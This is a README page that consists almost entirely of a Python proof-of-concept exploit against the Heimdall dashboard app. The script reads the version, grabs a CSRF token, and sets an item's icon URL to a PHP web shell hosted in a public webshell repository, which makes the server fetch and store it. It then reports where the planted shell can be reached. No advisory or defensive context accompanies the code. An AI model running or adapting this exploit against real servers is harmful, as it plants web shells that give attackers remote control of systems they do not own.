README.md
Rendering markdown...
import sys, uuid, requests, urllib3
from bs4 import BeautifulSoup
urllib3.disable_warnings()
UA = {"User-Agent": "Mozilla/5.0 (PlayStation 5/SmartTV) AppleWebKit/605.1.15 (KHTML, like Gecko)0"}
TIMEOUT = 8
SHELL_URL = "https://github.com/tennc/webshell/blob/master/fuzzdb-webshell/php/up.php"
MIN_VERSION = (2, 2, 3)
def get(rurl, sess):
try:
return sess.get(rurl, headers=UA, verify=False, timeout=TIMEOUT)
except requests.RequestException:
return None
def fetch_version(base, sess):
r = get(f"{base}/settings", sess)
if not r or r.status_code != 200:
return None
soup = BeautifulSoup(r.text, "html.parser")
row = soup.find("td", string="Version")
if not row:
return None
val = row.find_next_sibling("td").get_text(strip=True)
parts = val.split(".")
try:
return tuple(int(x) for x in parts[:3])
except ValueError:
return None
def fetch_token(base, sess):
r = get(f"{base}/items/create", sess)
if not r or r.status_code != 200:
return None
soup = BeautifulSoup(r.text, "html.parser")
inp = soup.find("input", {"name": "_token"})
return inp["value"] if inp else None
def create_item_with_shell(base, sess, token, tag):
data = {
"_token": token,
"pinned": "0",
"appid": "null",
"website":"",
"title": tag,
"colour": "#161b1f",
"url": "https://",
"tags[]": "0",
"icon": SHELL_URL,
}
r = sess.post(
f"{base}/items",
headers=UA,
data=data,
allow_redirects=False,
verify=False,
timeout=TIMEOUT
)
return r.status_code in (301, 302)
def find_edit_page(base, sess, tag):
r = get(f"{base}/items", sess)
if not r or r.status_code != 200:
return None
soup = BeautifulSoup(r.text, "html.parser")
for row in soup.select("table.table tbody tr"):
cols = row.find_all("td")
if cols and cols[0].get_text(strip=True) == tag:
link = row.select_one("a[href*='/items/'][href$='/edit']")
if link:
href = link["href"]
return href if href.startswith("http") else base + href
return None
def get_shell_url(edit_url, sess, base):
r = get(edit_url, sess)
if not r:
return None
soup = BeautifulSoup(r.text, "html.parser")
inp = soup.find("input", {"name": "icon"})
if inp and inp.get("value"):
fn = inp["value"].split("/")[-1]
return f"{base}/storage/icons/{fn}"
img = soup.select_one("#appimage img")
if img and img.get("src"):
return img["src"] if img["src"].startswith("http") else base + img["src"]
return None
def main():
if len(sys.argv) != 2:
sys.exit("usage: python heimdall_shell_poc.py <base_url>")
base = sys.argv[1].rstrip("/")
sess = requests.Session()
version = fetch_version(base, sess)
if not version:
sys.exit("could not detect Heimdall version (maybe auth?)")
print(f"detected version: {'.'.join(map(str,version))}")
if version < MIN_VERSION:
sys.exit(f"No exploit available (Arbitrary file upload is still possible...)")
token = fetch_token(base, sess)
if not token:
sys.exit("failed to fetch CSRF token")
tag = uuid.uuid4().hex[:6]
if not create_item_with_shell(base, sess, token, tag):
sys.exit("initial upload failed")
edit = find_edit_page(base, sess, tag)
if not edit:
sys.exit("item not found in list")
shell_url = get_shell_url(edit, sess, base)
if not shell_url:
sys.exit("could not extract shell URL")
print("☠ shell uploaded at:", shell_url)
if __name__ == "__main__":
main()